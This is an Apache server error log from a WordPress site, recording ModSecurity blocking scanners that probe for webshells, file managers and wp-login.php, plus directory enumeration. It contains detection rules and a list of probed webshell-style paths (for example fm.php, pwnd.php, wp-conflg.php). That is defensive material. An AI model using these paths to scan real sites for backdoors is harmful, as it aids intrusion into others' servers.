[Tue Feb 24 17:19:21.678498 2026] [:error] [pid 34751:tid 34830] [client 173.239.214.74:59533] [client 173.239.214.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aZ1tGc7SW-lfeVKMPq8OTwAAAdY"]
[Tue Feb 24 17:19:27.258463 2026] [:error] [pid 34751:tid 34810] [client 173.239.214.66:37677] [client 173.239.214.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aZ1tH87SW-lfeVKMPq8OZgAAAcI"]
[Tue Feb 24 17:19:30.497251 2026] [:error] [pid 34839:tid 34862] [client 173.239.214.34:45639] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aZ1tImLpm0-tb2ey61G1gwAAABU"]
[Tue Feb 24 17:19:38.947450 2026] [:error] [pid 34750:tid 34801] [client 173.239.214.68:53615] [client 173.239.214.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZ1tKuaZ-Iv_wvbRkKLGEwAAAVQ"]
[Tue Feb 24 17:19:49.846552 2026] [:error] [pid 34751:tid 34812] [client 45.131.195.98:55661] [client 45.131.195.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZ1tNc7SW-lfeVKMPq8OeAAAAcQ"]
[Tue Feb 24 17:19:52.956842 2026] [:error] [pid 34750:tid 34794] [client 173.239.214.46:43985] [client 173.239.214.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aZ1tOOaZ-Iv_wvbRkKLGxQAAAU0"]
[Tue Feb 24 17:20:30.426060 2026] [:error] [pid 37095:tid 37108] [client 173.239.214.59:42797] [client 173.239.214.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aZ1tXiX8qkGqxKHLt3uBkwAAAIs"]
[Tue Feb 24 17:20:31.029600 2026] [:error] [pid 34839:tid 34846] [client 173.239.214.58:25107] [client 173.239.214.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZ1tX2Lpm0-tb2ey61G2RAAAAAU"]
[Tue Feb 24 17:20:31.444533 2026] [:error] [pid 34750:tid 34794] [client 173.239.214.34:60253] [client 173.239.214.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ1tX-aZ-Iv_wvbRkKLHPgAAAU0"]
[Tue Feb 24 17:20:36.476529 2026] [:error] [pid 34750:tid 34793] [client 173.239.214.34:60253] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aZ1tZOaZ-Iv_wvbRkKLHQwAAAUw"]
[Tue Feb 24 17:20:42.033400 2026] [:error] [pid 34750:tid 34799] [client 173.239.214.76:30721] [client 173.239.214.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aZ1tauaZ-Iv_wvbRkKLHVwAAAVI"]
[Tue Feb 24 17:20:42.461948 2026] [:error] [pid 37873:tid 37881] [client 173.239.214.50:64233] [client 173.239.214.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aZ1tak625ION6Syu4d4cFQAAAMY"]
[Tue Feb 24 17:20:50.744952 2026] [:error] [pid 34751:tid 34819] [client 173.239.214.55:27265] [client 173.239.214.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZ1tcs7SW-lfeVKMPq8OtAAAAcs"]
[Tue Feb 24 17:20:51.222159 2026] [:error] [pid 34750:tid 34794] [client 173.239.214.56:33453] [client 173.239.214.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aZ1tc-aZ-Iv_wvbRkKLHZgAAAU0"]
[Tue Feb 24 17:21:04.174172 2026] [:error] [pid 34749:tid 34768] [client 173.239.214.58:30659] [client 173.239.214.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aZ1tgIDERuV6HM3T9Km03QAAAE4"]
[Tue Feb 24 17:21:07.329439 2026] [proxy_fcgi:error] [pid 34751:tid 34825] [client 173.239.214.66:23969] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 17:21:17.597464 2026] [:error] [pid 37095:tid 37112] [client 173.239.214.46:65039] [client 173.239.214.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aZ1tjSX8qkGqxKHLt3uBsQAAAI8"]
[Tue Feb 24 17:21:18.051643 2026] [:error] [pid 34750:tid 34801] [client 173.239.214.71:53297] [client 173.239.214.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aZ1tjuaZ-Iv_wvbRkKLHjwAAAVQ"]
[Tue Feb 24 17:21:21.680433 2026] [:error] [pid 34839:tid 34862] [client 173.239.214.42:61915] [client 173.239.214.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZ1tkWLpm0-tb2ey61G2ZwAAABU"]
[Tue Feb 24 17:21:22.166878 2026] [:error] [pid 34750:tid 34782] [client 173.239.214.55:51157] [client 173.239.214.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aZ1tkuaZ-Iv_wvbRkKLHnAAAAUE"]
[Tue Feb 24 17:21:42.172143 2026] [:error] [pid 34750:tid 34785] [client 173.239.214.33:62563] [client 173.239.214.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aZ1tpuaZ-Iv_wvbRkKLH1AAAAUQ"]
[Tue Feb 24 17:21:42.804423 2026] [:error] [pid 34839:tid 34857] [client 173.239.214.68:27417] [client 173.239.214.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aZ1tpmLpm0-tb2ey61G2jAAAABA"]
[Tue Feb 24 17:21:53.637384 2026] [:error] [pid 34750:tid 34805] [client 173.239.214.34:40541] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aZ1tseaZ-Iv_wvbRkKLH9gAAAVg"]
[Tue Feb 24 17:21:54.088550 2026] [:error] [pid 34750:tid 34782] [client 173.239.214.48:20791] [client 173.239.214.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZ1tsuaZ-Iv_wvbRkKLH-AAAAUE"]
[Tue Feb 24 17:21:54.513921 2026] [:error] [pid 34750:tid 34796] [client 173.239.214.56:59859] [client 173.239.214.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZ1tsuaZ-Iv_wvbRkKLH-gAAAU8"]
[Tue Feb 24 17:22:05.287890 2026] [:error] [pid 34750:tid 34792] [client 173.239.214.47:34515] [client 173.239.214.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aZ1tveaZ-Iv_wvbRkKLIGwAAAUs"]
[Tue Feb 24 17:22:08.314625 2026] [:error] [pid 34751:tid 34829] [client 173.239.214.30:31883] [client 173.239.214.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZ1twM7SW-lfeVKMPq8O-wAAAdU"]
[Tue Feb 24 17:22:21.817134 2026] [:error] [pid 37873:tid 37882] [client 173.239.214.66:34897] [client 173.239.214.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/js/wp-login.php"] [unique_id "aZ1tzU625ION6Syu4d4ccwAAAMc"]
[Tue Feb 24 17:22:36.894321 2026] [:error] [pid 37873:tid 37888] [client 173.239.214.66:34897] [client 173.239.214.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aZ1t3E625ION6Syu4d4ckwAAAM0"]
[Tue Feb 24 17:22:37.340791 2026] [:error] [pid 34839:tid 34856] [client 173.239.214.42:46977] [client 173.239.214.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aZ1t3WLpm0-tb2ey61G2sQAAAA8"]
[Tue Feb 24 17:23:02.001168 2026] [proxy_fcgi:error] [pid 34839:tid 34847] [client 173.239.214.42:46977] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 17:23:33.260773 2026] [:error] [pid 34839:tid 34848] [client 173.239.214.42:46977] [client 173.239.214.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aZ1uFWLpm0-tb2ey61G27gAAAAc"]
[Tue Feb 24 17:23:41.407869 2026] [:error] [pid 34749:tid 34776] [client 173.239.214.65:44865] [client 173.239.214.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZ1uHYDERuV6HM3T9Km1DgAAAFY"]
[Tue Feb 24 17:23:46.881606 2026] [:error] [pid 34750:tid 34793] [client 185.198.240.9:59691] [client 185.198.240.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aZ1uIuaZ-Iv_wvbRkKLIwQAAAUw"]
[Tue Feb 24 17:24:10.973727 2026] [:error] [pid 34751:tid 34828] [client 185.198.240.9:48895] [client 185.198.240.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aZ1uOs7SW-lfeVKMPq8PTAAAAdQ"]
[Tue Feb 24 17:24:16.453904 2026] [:error] [pid 34751:tid 34828] [client 45.131.195.212:63851] [client 45.131.195.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZ1uQM7SW-lfeVKMPq8PWAAAAdQ"]
[Tue Feb 24 17:24:26.894804 2026] [autoindex:error] [pid 37095:tid 37102] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:27.104210 2026] [autoindex:error] [pid 37095:tid 37097] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:27.353894 2026] [autoindex:error] [pid 37095:tid 37100] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:27.579445 2026] [autoindex:error] [pid 37095:tid 37105] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:30.307983 2026] [autoindex:error] [pid 37095:tid 37104] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:30.807353 2026] [autoindex:error] [pid 37095:tid 37114] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:31.143716 2026] [autoindex:error] [pid 37095:tid 37103] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:31.360112 2026] [autoindex:error] [pid 37095:tid 37101] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:31.577771 2026] [autoindex:error] [pid 37095:tid 37116] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:32.000351 2026] [autoindex:error] [pid 37095:tid 37109] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:34.963938 2026] [autoindex:error] [pid 37095:tid 37121] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:40.535137 2026] [autoindex:error] [pid 37095:tid 37102] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:40.996233 2026] [autoindex:error] [pid 37095:tid 37100] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:41.226064 2026] [autoindex:error] [pid 37095:tid 37105] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:46.544290 2026] [autoindex:error] [pid 37095:tid 37104] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:49.394543 2026] [autoindex:error] [pid 37095:tid 37101] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:54.680005 2026] [autoindex:error] [pid 37095:tid 37110] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:54.903303 2026] [autoindex:error] [pid 37095:tid 37119] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 17:24:55.132200 2026] [autoindex:error] [pid 37095:tid 37118] [client 173.239.214.52:25105] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
